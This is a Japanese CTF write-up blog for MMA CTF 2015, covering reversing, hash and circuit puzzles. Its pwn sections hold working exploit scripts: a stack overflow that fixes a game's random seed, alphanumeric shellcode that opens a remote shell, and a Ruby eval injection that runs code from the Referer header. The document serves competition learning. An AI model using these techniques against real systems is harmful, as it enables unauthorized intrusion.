読者です 読者をやめる 読者になる 読者になる

しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

MMA CTF 1st 2015 writeup

CTF writeup(まとめ)

MMA CTF 1st 2015にscryptosで参加しました。

チームで24個のフラグを通し、2300ptsで10位でした(*´ω`*)
私は8個のフラグを通し、1130pts入れました(`・ω・´)

とても有意義なCTFで、すごく楽しかったです!

ということで、writeupを置いておきます。


How to use? (Reverse, Warmup: 30)

Windows用のDLLファイル。

fnhowtouseというエクスポート関数があり、それを見ると、

int fnhowtouse(int num){
    int (*funcs[45])();

    funcs[0] = return_M;  //'M'を返す関数
    funcs[1] = return_M;  //'M'を返す関数
    funcs[2] = return_A;  //'A'を返す関数
    funcs[3] = return_left;  //'{'を返す関数
    // (略)

    return funcs[num]();
}

という感じになっている。

fnhowtouseをがんばって読むか、dllファイルをロードした上で

int i;
for(i = 0; i < 45; i++){
    putchar(fnhowtouse(i));
}

をすればフラグが取れる。

FLAG:MMA{fc7d90ca001fc8712497d88d9ee7efa9e9b32ed8}

This program cannot be run in DOS mode. (Reverse: 80)

これもWindowsバイナリ
……ではあるが、ヘッダ部分が変になっている。 f:id:Charo_IT:20150908003901p:plain

コード部分(0x400~)は無事っぽい感じなので、ただのバイナリファイルとしてIDAで読み込む。

これを……
f:id:Charo_IT:20150908003907p:plain
こうして……
f:id:Charo_IT:20150908003912p:plain
こうして……
f:id:Charo_IT:20150908003919p:plain
こうじゃ!
f:id:Charo_IT:20150908003926p:plain

Strings windowを眺めると"The FLAG is MMA{%s}"という文字列が転がっていたので、

printf("The FLAG is MMA{%s}", "7a35hxb9q81fsg6");

が実行されるものと予測することができる。

FLAG:MMA{7a35hxb9q81fsg6}

RPS (Pwn, Warmup: 50)

x86_64なELFバイナリ。

Cに直すとこんな感じ。

char buf[];  //0x601300

int main(){
    char name[48];  //rbp-0x50
    int seed;  //rbp-0x20
    FILE* fp;  //rbp-0x18
    int i;  //rbp-0x4

    fp = fopen("/dev/urandom", "r");
    fread(&seed, 4, 1, fp);
    fclose(fp);

    printf("What's your name: ");
    fflush(stdout);
    gets(name);  //[!] buffer overflow

    printf("Hi, %s\n", name);
    puts("Let's janken");
    fflush(stdout);

    srand(seed);
    for(i = 0; i < 50; i++){
        printf("Game %d/50\n", i);

        printf("Rock? Paper? Scissors? [RPS]");
        fflush(stdout);

        // 普通のじゃんけん
        // CPUの手はrand() % 3で決まる
        // 負けたら即終了、あいこならやり直し
    }

    printf("Congrats %s!!!!\n", name);
    fp = fopen("flag.txt", "r");
    fgets(buf, 100, fp);
    puts(buf);
    fflush(stdout);

    return 0;
}

じゃんけんで50連勝すればフラグがもらえる。

名前入力時にbuffer overflowすることで、srandに渡されるseedの値を自由に設定することができる。

乱数の種がわかればCPUの手は全てお見通しなので、あとはCPU相手にじゃんけんで無双する。

#coding:ascii-8bit
require_relative "../../pwnlib"

PwnTube.open("milkyway.chal.mmactf.link", 1641){|tube|
    tube.wait_time = 0

    tube.recv_until("What's your name:")
    payload = ""
    payload << "A" * 0x30
    payload << [1].pack("L")  # seedを1にする
    tube.send(payload + "\n")

    tube.send("SSPSRSSPPSRSRSRSPPSSRRPPRRRSSSRPPPRPSSSSPPPRRSRRRP")

    tube.interactive
}
$ ruby rps.rb
[*] connected
[*] interactive mode
 Hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA☺
Let's janken
Game 1/50
Rock? Paper? Scissors? [RPS]Scissors-Paper
You win!!
Game 2/50
Rock? Paper? Scissors? [RPS]Scissors-Paper
You win!!

(長いのでじゃんけん略)

Game 50/50
Rock? Paper? Scissors? [RPS]Paper-Rock
You win!!
Congrats AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA☺!!!!
MMA{treed_three_girls}

[*] end interactive mode
[*] connection closed

FLAG:MMA{treed_three_girls}

Pattern Lock - 1(PPC, Warmup: 20)

この問題はフラグが2つあり、1つめはAndroidでおなじみのパターンロックのパターンの総数を求める問題。
(2つめの問題はscryptosの競プロのプロ、とさかさんにやってもらった。ちなみにMoney GameのPPCもとさかプロにお願いした)

甚だしく残念なコードを書いてDFSで解いた。
(おまけに誤答飛ばしまくったので超絶かっこわるい)

@count = 0
def solve(field, from, depth)
    if depth >= 4
        @count += 1
    end

    for to in 0...9
        if field[to]
            next
        end
        if [from, to].sort == [0, 2] && !field[1] || [from, to].sort == [0, 6] && !field[3] || [from, to].sort == [2, 8] && !field[5] || [from, to].sort == [6, 8] && !field[7] || [from, to].sort == [0, 8] && !field[4] || [from, to].sort == [2, 6] && !field[4] || [from, to].sort == [1, 7] && !field[4] || [from, to].sort == [3, 5] && !field[4]
            next
        end
        field[to] = true
        solve(field, to, depth + 1)
        field[to] = false
    end
end

field = [false] * 9

for i in 0...9
    field[i] = true
    solve(field, i, 1)
    field[i] = false
end
puts @count

FLAG:389112

Digital Circuit (Reverse: 250)

"#!/usr/bin/vvp"というshebangで始まる謎のコードを渡される。

このファイルを一目見たしほさんが

ということを教えてくれた。
しほプロ一体何者なんだ……。

教えていただいた情報を基に実行環境を作り、軽く動作テスト。

$ vvp program +input=12345
Checking input data...
Wrong.

はい、動いたけどWrongです(´・ω・`)

問題のファイルを見ると、論理回路の定義っぽい部分とコードっぽい部分があり、コードっぽい部分は以下の通り。

T_0 ;
    %vpi_func 2 47 "$value$plusargs", 8, 32, "input=%d", v0xbdac00_0;
    %nor/r 8, 8, 32;
    %jmp/0xz  T_0.0, 8;
    %vpi_call 2 48 "$display", "No input data.";
    %vpi_call 2 49 "$display", "Wrong.";
    %jmp T_0.1;
T_0.0 ;
    %vpi_call 2 51 "$display", "Checking input data...";
    %delay 1000, 0;
    %load/v 8, v0xbdad20_0, 1;
    %mov 9, 0, 1;
    %cmpi/u 8, 0, 2;
    %jmp/0xz  T_0.2, 4;
    %vpi_call 2 54 "$display", "Correct!!! The flag is MMA{%s}. ", v0xbdac00_0;
    %jmp T_0.3;
T_0.2 ;
    %vpi_call 2 56 "$display", "Wrong.";
T_0.3 ;
T_0.1 ;
    %end;

ファイル全体を見た感じだと、

  • "v"から始まる識別子は変数(variable)っぽい
  • "L"から始まる識別子は論理回路(Logic)っぽい
  • %vpi_func 2 47 "$value$plusargs", 8, 32, "input=%d", v0xbdac00_0;より、入力はv0xbdac00_0に入るっぽい
  • %vpi_call 2 54 "$display", "Correct!!! The flag is MMA{%s}. ", v0xbdac00_0;というのがprintf("Correct!!! The flag is MMA{%s}. ", v0xbdac00_0)に相当するっぽい
    このdisplay関数(関数?)を使えば変数の中身を確認できそう

という印象。

特に4つめに関して、例えば

T_0 ;
    %vpi_func 2 47 "$value$plusargs", 8, 32, "input=%d", v0xbdac00_0;
    %nor/r 8, 8, 32;
    %jmp/0xz  T_0.0, 8;
    %vpi_call 2 48 "$display", "No input data.";
    %vpi_call 2 49 "$display", "Wrong.";
    %jmp T_0.1;
T_0.0 ;
    %vpi_call 2 51 "$display", "Checking input data...";
    %delay 1000, 0;
    %vpi_call 2 54 "$display", "input=%x", v0xbdac00_0;  # ←この1行を追加する
    %load/v 8, v0xbdad20_0, 1;
    %mov 9, 0, 1;
    %cmpi/u 8, 0, 2;
    %jmp/0xz  T_0.2, 4;
    %vpi_call 2 54 "$display", "Correct!!! The flag is MMA{%s}. ", v0xbdac00_0;
    %jmp T_0.3;
T_0.2 ;
    %vpi_call 2 56 "$display", "Wrong.";
T_0.3 ;
T_0.1 ;
    %end;

とすることで、

$ vvp program +input=999
Checking input data...
input=00000000000000000000000000000000000000000000000000000000000003e7
Wrong.

このようにv0xbdac00_0の中身を確認できるので、動的解析に使える。

改めてコードを見てみると、

    %load/v 8, v0xbdad20_0, 1;  # v0xbdad20_0をどこかにロード?
    %mov 9, 0, 1;
    %cmpi/u 8, 0, 2;  # 比較?
    %jmp/0xz  T_0.2, 4;  # 比較結果で分岐?
    %vpi_call 2 54 "$display", "Correct!!! The flag is MMA{%s}. ", v0xbdac00_0;
    %jmp T_0.3;
T_0.2 ;
    %vpi_call 2 56 "$display", "Wrong.";
T_0.3 ;
T_0.1 ;
    %end;

となっているので、まずv0xbdad20_0が絡む部分から調査することにした。

ファイル内をv0xbdad20_0で文字列検索してみると、

v0xbdad20_0 .net "result", 0 0, L_0xbdd7a0; 1 drivers

がヒットし、この中に出てくるL_0xbdd7a0で再度検索すると、

L_0xbdd7a0 .reduce/or L_0xbdada0;

がヒットする……という感じで回路を解析していく。

(回路より抜粋)
v0xbdad20_0 .net "result", 0 0, L_0xbdd7a0; 1 drivers
L_0xbdd7a0 .reduce/or L_0xbdada0;
L_0xbdada0 .concat [ 128 64 64 0], L_0xbddca0, L_0xbdd4f0, L_0xbdc740;

(動作)
v0xbdad20_0にはL_0xbdd7a0の出力が入る
L_0xbdd7a0はL_0xbdada0の出力をreduce/or(reduce/or = 入力のすべてのビットをORする)
L_0xbdada0はL_0xbddca0とL_0xbdd4f0とL_0xbdc740の各出力を繋げたもの(引数の順番とは逆順で繋がる模様)

ここまで解析したところで、コード部分を少し書き換え、入力と出力の関係を観察することにした。

T_0.0 ;
    %vpi_call 2 51 "$display", "Checking input data...";
    %delay 1000, 0;
    %load/v 8, v0xbdad20_0, 1;
    %mov 9, 0, 1;
    %vpi_call 2 54 "$display", "input=%x", v0xbdac00_0;  # 入力
    %vpi_call 2 54 "$display", "stage1=%x", v0xbda7d0_0;  # L_0xbdc740の出力
    %vpi_call 2 54 "$display", "stage2=%x", v0xbda880_0;  # L_0xbdd4f0の出力
    %vpi_call 2 54 "$display", "stage3=%x", v0xbda9c0_0;  # L_0xbddca0の出力
    %vpi_call 2 54 "$display", "concat=%x", v0xbdaca0_0;  # L_0xbdada0(concat)の出力
    %vpi_call 2 54 "$display", "result=%x", v0xbdad20_0;  # L_0xbdd7a0(reduce/or)の出力
    %cmpi/u 8, 0, 2;
    # %jmp/0xz  T_0.2, 4;  # ←"Wrong."が出ると悲しくなるのでjmp命令は潰した
    %vpi_call 2 54 "$display", "Correct!!! The flag is MMA{%s}. ", v0xbdac00_0;
    %jmp T_0.3;
$ vvp program +input=12345
Checking input data...
input=0000000000000000000000000000000000000000000000000000000000003039
stage1=adcdc689a5b88f8a
stage2=5969464562316b77
stage3=0ee1b0051ec45185c02b18dc530edeeb
concat=adcdc689a5b88f8a5969464562316b770ee1b0051ec45185c02b18dc530edeeb
result=1
Correct!!! The flag is MMA{                              09}.  ←正答時の入力がフラグになる

$ vvp program +input=57
Checking input data...
input=0000000000000000000000000000000000000000000000000000000000000039
stage1=adcdc689a5b88f8a
stage2=5969464562316b77  ←入力が短いとstage1, stage2は変わらない
stage3=0ee1b00518b6dc87119c3696a5a88eeb  ←1バイト違うだけでそれなりに変化する
concat=adcdc689a5b88f8a5969464562316b770ee1b00518b6dc87119c3696a5a88eeb
result=1
Correct!!! The flag is MMA{                               9}.

$ vvp program +input=64053151420411946063694043751862251568
Checking input data...
input=0000000000000000000000000000000030303030303030303030303030303030
stage1=adcdc689a5b88f8a
stage2=5969464562316b77  ←16バイトまでstage1, stage2は変わらず
stage3=7b94c5706dc411910816ecd1c7048182
concat=adcdc689a5b88f8a5969464562316b777b94c5706dc411910816ecd1c7048182
result=1
Correct!!! The flag is MMA{                0000000000000000}.

$ vvp program +input=16397606763625458192305675200476736401456
Checking input data...
input=0000000000000000000000000000003030303030303030303030303030303030
stage1=adcdc689a5b88f8a
stage2=5969464562316b47  ←17バイトでstage2の下位1バイト目が変化。stage1は変わらず
stage3=7b94c5706dc411910816ecd1c7048182
concat=adcdc689a5b88f8a5969464562316b477b94c5706dc411910816ecd1c7048182
result=1
Correct!!! The flag is MMA{               00000000000000000}.

$ vvp program +input=1181572091366904614369089773780266619501619848369700614192
Checking input data...
input=0000000000000000303030303030303030303030303030303030303030303030
stage1=adcdc689a5b88f8a  ←24バイトまでstage1は変わらず
stage2=2939161532013b47
stage3=7b94c5706dc411910816ecd1c7048182
concat=adcdc689a5b88f8a2939161532013b477b94c5706dc411910816ecd1c7048182
result=1
Correct!!! The flag is MMA{        000000000000000000000000}.

$ vvp program +input=302482455389927581278486982087748254592414681182643357233200
Checking input data...
input=0000000000000030303030303030303030303030303030303030303030303030
stage1=adcdc689a5b88fba  ←25バイトでstage1の下位1バイト目が変化
stage2=2939161532013b47
stage3=7b94c5706dc411910816ecd1c7048182
concat=adcdc689a5b88fba2939161532013b477b94c5706dc411910816ecd1c7048182
result=1
Correct!!! The flag is MMA{       0000000000000000000000000}.

L_0xbdd7a0 .reduce/or L_0xbdada0;L_0xbdd7a0 .reduce/or C4<00110000>;という具合に書き換えることで、論理回路の入力に任意のデータを設定できる。
これを利用していろいろ試したところ、concatが0になる(⇔stage1~stage3が0になる)ようなinputを与えることでresultが0になる(=フラグが出てくる)ことがわかった。

stage3の回路が一番最初に読み切れたため、まずstage3の結果を0にする方法を考える。

(回路より抜粋)
L_0xbddca0 .functor XOR 128, L_0xbdda00, C4<00001110111000011011000000000101000110001011000101111110100100000111110001100000110010110000100011000101110010000001011110110010>, C4<00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000>, C4<00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000>;
L_0xbdda00 .arith/mult 128, L_0xbdd840, C4<00000000000000000000000000000000000000000000000000100010010010000100010101001100010011000100111100100001001000010010001000100001>;
L_0xbdd840 .part v0xbdac00_0, 0, 128;  # v0xbdac00_0はinput

(動作)
L_0xbdd840 = inputの下位128bit
L_0xbdda00 = L_0xbdd840 * 0x2248454c4c4f21212221 (128bit演算)
L_0xbddca0(stage3) = L_0xbdda00 ^ 0xee1b00518b17e907c60cb08c5c817b2 (128bit演算)

stage3が0になることから

x * 0x2248454c4c4f21212221 ≡ 0xee1b00518b17e907c60cb08c5c817b2 (mod 1<<128)

となるようなxを求めればよいということになり、

x ≡ 0x565445786132566a56584a6a64544572
(10進表記だと114751169597342744596249138895139390834)

となる。

実際に動かして確認してみると

$ vvp program +input=114751169597342744596249138895139390834
Checking input data...
input=00000000000000000000000000000000565445786132566a56584a6a64544572
stage1=adcdc689a5b88f8a
stage2=5969464562316b77
stage3=00000000000000000000000000000000
concat=adcdc689a5b88f8a5969464562316b7700000000000000000000000000000000
result=1
Correct!!! The flag is MMA{                VTExa2VjVXJjdTEr}.

stage3がきれいに0になっていて大変気持ちがいい(*´ω`*)

この調子でstage1, stage2の回路も解析するつもりだったが、この2つは順序回路だったため解析が難航(´・ω・`)
改めて入力と出力の関係を調べると、

$ vvp program +input=114751169597342744596249138895139390834
Checking input data...
input=00000000000000000000000000000000565445786132566a56584a6a64544572
stage1=adcdc689a5b88f8a
stage2=5969464562316b77  ←stage2への入力がないときはこの状態
stage3=00000000000000000000000000000000
concat=adcdc689a5b88f8a5969464562316b7700000000000000000000000000000000
result=1
Correct!!! The flag is MMA{                VTExa2VjVXJjdTEr}.

$ vvp program +input=16448304781802388990838230295620013540722
Checking input data...
input=00000000000000000000000000000030565445786132566a56584a6a64544572
stage1=adcdc689a5b88f8a
stage2=5969464562316b47  ←17バイト目だけを変えると、stage2の下位1バイト目だけが変わる
stage3=00000000000000000000000000000000
concat=adcdc689a5b88f8a5969464562316b4700000000000000000000000000000000
result=1
Correct!!! The flag is MMA{               0VTExa2VjVXJjdTEr}.

$ vvp program +input=4181504475894089181782543425260462921762162
Checking input data...
input=00000000000000000000000000003000565445786132566a56584a6a64544572
stage1=adcdc689a5b88f8a
stage2=5969464562313b77  ←18バイト目だけを変えると、stage2の下位2バイト目だけが変わる
stage3=00000000000000000000000000000000
concat=adcdc689a5b88f8a5969464562313b7700000000000000000000000000000000
result=1
Correct!!! The flag is MMA{              0 VTExa2VjVXJjdTEr}.

入力の1バイトと出力の1バイトが対応している感じだった。

stage1についても同じ傾向が見られたため、総当たりするスクリプトを書いて1バイトずつ確定させていった。

require "open3"

stage1 = ""
stage2 = ""

while stage2.length < 8
    for c in 0x20..0x7e
        result = Open3.capture2('C:\iverilog\bin\vvp C:\iverilog\bin\program +input=' + (val + (c << (128 + stage2.length * 8))).to_s)[0]
        if result =~ Regexp.new("stage2=[0-9a-f]{#{14 - stage2.length * 2}}00")
            val = val + (c << (128 + stage2.length * 8))
            stage2 << c.chr
            break
        end
    end
end
puts stage2.reverse.unpack("H*")[0]
#=> 5969464562316b77

while stage1.length < 8
    for c in 0x20..0x7e
        result = Open3.capture2('C:\iverilog\bin\vvp C:\iverilog\bin\program +input=' + (val + (c << (192 + stage1.length * 8))).to_s)[0]
        if result =~ Regexp.new("stage1=[0-9a-f]{#{14 - stage1.length * 2}}00")
            val = val + (c << (192 + stage1.length * 8))
            stage1 << c.chr
            break
        end
    end
end
puts stage1.reverse.unpack("H*")[0]
#=> 523239765a477076

ということで、フラグを得るためのinputは、stage1, stage2, stage3の解を繋げた、

0x523239765a4770765969464562316b77565445786132566a56584a6a64544572
(10進表記だと37178392527389731525017042498717980764933621579889715773514156030217652815218)

ということがわかった。

$ vvp program +input=37178392527389731525017042498717980764933621579889715773514156030217652815218
Checking input data...
input=523239765a4770765969464562316b77565445786132566a56584a6a64544572
stage1=0000000000000000
stage2=0000000000000000
stage3=00000000000000000000000000000000
concat=0000000000000000000000000000000000000000000000000000000000000000
result=0
Correct!!! The flag is MMA{R29vZGpvYiFEb1kwVTExa2VjVXJjdTEr}.

FLAG:MMA{R29vZGpvYiFEb1kwVTExa2VjVXJjdTEr}

Simple Hash (Reverse, PPC: 200)

こんな感じの問題。

def calc_hash(input)
    hash = 0
    input.each_byte{|b|
        hash = (hash * 577 + b) % 1000000000000037
    }
    return hash
end

input = gets.strip
if input =~ /[^0-9a-zA-Z]/ || calc_hash(input) != 0x1e1eab437eeb0
    puts "Wrong!"
else
    puts "Correct!"
    print_flag
end
e00000: 0x1a6c7e820c8b7
f00000: 0x1e0f2bf3b73f8  ←"f00000"と"g00000"の間に0x1e1eab437eeb0があるかも?
g00000: 0x21b1d96561f39
h00000: 0x255486d70ca7a

f80000: 0x1e1c134aebc00
f90000: 0x1e1db035d2501  ←"f90000"と"fA0000"の間に0x1e1eab437eeb0があるかも?
fA0000: 0x1e2a978d06d09
fB0000: 0x1e2c3477ed60a

という風に先頭から1文字ずつ変えてみる方法で探索するスクリプトを書いた。

Alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
Key = 0x1E1EAB437EEB0
Mod = 1000000000000037

def compute_hash(input)
    hash = 0
    input.bytes.each{|b|
        hash = (hash * 577 + b) % Mod
    }
    return hash
end

def search_chars(password, index)
    result = []

    p = "" + password
    p[index] = Alphabet[0]
    prev_hash = compute_hash(p)
    for i in 1...Alphabet.length
        p[index] = Alphabet[i]
        next_hash = compute_hash(p)
        if next_hash == Key
            puts "[!] answer = #{p}"
            exit
        end
        if prev_hash < Key && Key < next_hash
            result << Alphabet[i - 1]
        end
        prev_hash = next_hash
    end

    result << "z"
    return result
end

def solve(password, index)
    if index >= password.length
        return
    end

    search_chars(password, index).each{|c|
        p = "" + password
        p[index] = c
        solve(p, index + 1)
    }
end

length = 6
while length < 999
    puts "length = #{length}"
    solve("0" * length, 0)
    length += 1
end
$ ruby solver.rb
length = 6
length = 7
length = 8
length = 9
length = 10
[!] answer = 5iyP7znv7R

$ nc milkyway.chal.mmactf.link 6669
5iyP7znv7R
Correct!

MMA{mocho is cute}

FLAG:MMA{mocho is cute}

spell (Pwn: 300)

$ nc pwn1.chal.mmactf.link 38264
       ----                        /   /
      /                           /   /
     |        ____     ____      /   /
      \      /    \   /    \    /   /
       \    /_____/  /_____/   /   /
       /   /        /         /   /
  ____/   /         \_____   /   /   as a service

spell: version 1.0
spell: Ispell version 3.3.02
Input your paragraph: hoge
Misspelled:
hoge
Input your paragraph: test
Perfect!

英単語のスペルをチェックしてくれるサービス。

下調べ。

$ file saas-stripped
saas-stripped: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=9286a3369d780d0d76c9aa01e48309633c739789, stripped

$ checksec.sh --file saas-stripped
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   saas-stripped

静的リンクでstrippedなのが面倒だが、NX無効なのが気になる。

Cに直すとこんな感じ。

int is_input_valid(char *str){  //inline function
    char *ptr = str;

    while(*ptr != '\n'){
        if(!isalnum(*ptr) && *ptr != ' '){
            puts("Invalid character.");
            return 0;
        }
        *ptr++;
    }

    return 1;
}

int is_spelling_correct(char *input_buf, char *output_buf){
    int pipefd1[2];
    int pipefd2[2];
    int pid;
    int length;
    char *ptr;

    if(pipe(pipefd2) == -1 || pipe(pipefd1) == -1){
        perror("pipe");
        exit(1);
    }

    pid = fork();
    if(pid == 0){
        //fdをdupしたりcloseしたりごちゃごちゃやる
        execl("/usr/bin/spell", "spell", 0);
        perror("execl");
        exit(1);
    }
    if(pid == -1){
        perror("fork");
        exit(1);
    }

    close(pipefd2[0]);
    close(pipefd1[1]);

    write(pipefd2[1], input_buf, strlen(input_buf));
    close(pipefd2[1]);

    length = read(pipefd1[0], output_buf, 1024);
    if(length > 0){
        ptr = output_buf;
        while(1){
            ptr += length;
            if(read(pipefd1[0], ptr, 1024) <= 0){
                break;
            }
        }
    }
    close(pipefd1[0]);

    //子プロセスを待つ処理?

    return *output_buf == '\0';
}

char *mainloop(char *input_buf){
    char output_buf[4096];
    char *ptr;

    memset(input_buf, 0, 4096);
    memset(output_buf, 0, 4096);

    while(1){
        printf("Input your paragraph: ");
        fflush(stdout);

        if(!fgets(input_buf, 4096, stdin)){
            exit(1);
        }
        if(!is_input_valid(input_buf)){
            continue;
        }
        if(is_spelling_correct(input_buf, output_buf)){
            return input_buf;
        }else{
            puts("Misspelled:");
            printf("%s", output_buf);
            fflush(stdout);
        }
    }
}

int main(){
    char buf[4096];

    setbuf(stdout, 0);
    puts(すごいAA);

    system("spell -V 2>&1");
    system("spell -I 2>&1");

    memset(buf, 0, 4096);
    mainloop(buf);

    puts("Perfect!");

    return 0;
}

入力された文字列をspellコマンドに渡し、出力があれば(=スペルミスがあれば)該当単語を出力、なければ(=スペルミスがなければ)終了する、という仕様。

spellコマンドに長い単語を渡すと

Input your paragraph: ["A"*4094を入力]
Misspelled:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(略)

という風に勝手に改行を入れてくるため、入力した文字数 < spellコマンドの出力する文字数となることを利用してbuffer overflowできる。

buffer overflow後に正しい単語を入力してmainloopを抜けようとするとsegmentation faultが発生する。

Input your paragraph: ["A"*4094を入力]
Misspelled:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(略)
Input your paragraph: test
Segmentation fault (コアダンプ)

$ dmesg | tail -n 1
[ 5430.589665] saas-stripped[3207]: segfault at 41414141 ip 0000000041414141 sp 00000000ffdd1c90 error 14

正常な場合におけるmainloop終了時のスタックやレジスタの状態を見てみると、

gdb-peda$ x/20wx $esp
                                    ↓入力した文字列のアドレス
0xffffc40c:     0x080493b8     [0xffffc428]     0x00000000      0x00001000
0xffffc41c:     0x00000000      0x00000000      0x00000000     [0x74736574]←入力した文字列
0xffffc42c:     0x0000000a      0x00000000      0x00000000      0x00000000
0xffffc43c:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffc44c:     0x00000000      0x00000000      0x00000000      0x00000000

gdb-peda$ context reg
[----------------------------------registers-----------------------------------]
EAX: 0xffffc428 ("test\n")  ←eaxレジスタに入力文字列のアドレス
EBX: 0x0
ECX: 0x0
EDX: 0x0
ESI: 0xffffc428 ("test\n")
EDI: 0x8049ae0 (push   ebx)
EBP: 0x8049a40 (push   ebp)
ESP: 0xffffc40c --> 0x80493b8 (mov    DWORD PTR [esp],0x80c6a15)
EIP: 0x80492fe (ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

となっており、ret2retでスタックポインタを値1つ分ずらすことで、スタック上のコードを実行することができる。

入力には英数字か半角スペースしか使えないが、

  1. buffer overflowによるpartial overwriteでリターンアドレスをretガジェットのアドレスに書き換える
    (これなら英数字・半角スペースでできる)
  2. スタック上にalphanumeric shellcodeが読み込んである状態でmainloopを抜ける

とすることでshellを取ることができる。

mainloopを抜けるための条件だが、実は「spellコマンドに怒られないような文字列を入力する」以外にもう1つあり、それは「spellコマンドに怒られる文字列でも、何回も入力すればそのうちspellコマンドがデレてくれる」というもの。
(バッタプロが発見した挙動。この問題の本番サーバ限定。ulimitの設定か何かが関係している?)
追記(2015/09/08 8:55):運営のytokuさんによると、RLIMIT_NPROCの設定が関係している模様

$ nc pwn1.chal.mmactf.link 38264
       ----                        /   /
      /                           /   /
     |        ____     ____      /   /
      \      /    \   /    \    /   /
       \    /_____/  /_____/   /   /
       /   /        /         /   /
  ____/   /         \_____   /   /   as a service

spell: version 1.0
spell: Ispell version 3.3.02
Input your paragraph: mma
Misspelled:
mma
Input your paragraph: mma
Misspelled:
mma
Input your paragraph: mma
Misspelled:
mma
(中略)
Input your paragraph: mma
Misspelled:
mma
Input your paragraph: mma
Misspelled:
mma
Input your paragraph: mma
Misspelled:
mma
Input your paragraph: mma
Perfect!  ←!?

デレてくれるまでの回数は途中で何回か変わっており、問題にとりかかった時点では3回目、問題を解いた時点では6回目、大会後の時点では18回目の入力でspellコマンドがデレてくれる。

この挙動を使うことで「alphanumericで、かつspellコマンドに怒られないシェルコードを作る」という過酷な要件を回避できる。

#coding:ascii-8bit
require_relative "../../pwnlib"

PwnTube.open("pwn1.chal.mmactf.link", 38264){|tube|
    tube.wait_time = 0

    puts "[*] overwrite return address"
    tube.recv_until("Input your paragraph:")
    payload = "b" * (4094 - 15) + "fF"  # partial overwrite
    tube.send(payload + "\n")

    puts "[*] send shellcode"
    17.times{
        print "."
        tube.recv_until("Input your paragraph:")
        payload = "PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx"
        tube.send(payload + "\n")
    }
    puts

    tube.shell
}
$ ruby saas.rb
[*] connected
[*] overwrite return address
[*] send shellcode
.................
[*] waiting for shell...
[*] interactive mode
id
uid=38264649 gid=38264(p38264) groups=38264(p38264)
ls -la
total 688
drwxr-x--- 2 root p38264   4096 Sep  5 01:22 .
drwxr-xr-x 6 root root     4096 Sep  4 21:22 ..
-rw-r----- 1 root p38264     39 Sep  5 01:22 flag
-rwxr-x--- 1 root p38264 688904 Sep  5 01:22 saas-stripped
cat flag
MMA{spell_is_useless_in_Japanese_lang}
exit
[*] end interactive mode
[*] connection closed

FLAG:MMA{spell_is_useless_in_Japanese_lang}

Alphabet Programming (PPC: 200)

#!/usr/bin/ruby
require 'cgi'

cgi = CGI::new
program = cgi['program']

result = ""
message = ""
unless program != ""
  message = ""
else
  program=program.to_s.gsub("\r","")
  if /\A[a-z \r\n]+\Z/ =~ program && program.split("\n").size <= 25
    begin
      result = eval(program)
    rescue Exception => e
      message = "Program Error"
    end
  else
    message = "Cannot run the program."
  end
end

cgi.out do
  <<EOL
<!doctype html>
<html lang="en">
  <head>
    <title>Alphabet Programming</title>
    <link href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css" rel="stylesheet">
  </head>
  <body>
    <div class="container">
      <h3>Program</h3>
      <div class="span12">
        <form method="post" class="form">
          <div class="form-group">
          <label>Program</label>
          <textarea class="form-control" name="program">#{CGI.escapeHTML(program)}</textarea>
          </div>
          <input type="submit" class="btn btn-primary">
        </form>
      </div>
      <h3>Result</h3>
      <div style="color:red;">#{message}</div>
      <pre>#{CGI.escapeHTML(result.to_s)}</pre>
    </div>
  </body>
</html>
EOL
end

evalで任意のRubyコードを実行できるが、使える文字が小文字アルファベットと空白・改行のみ。

チームのdocsに、小文字アルファベットのみのRubyプログラミングに関する資料と「cgiに渡されるパラメータをevalできないか?」というすごくいいアイデアがあったので、これらを基にコードを考えた。

public
def each
    eval referer
end
for i in cgi do end

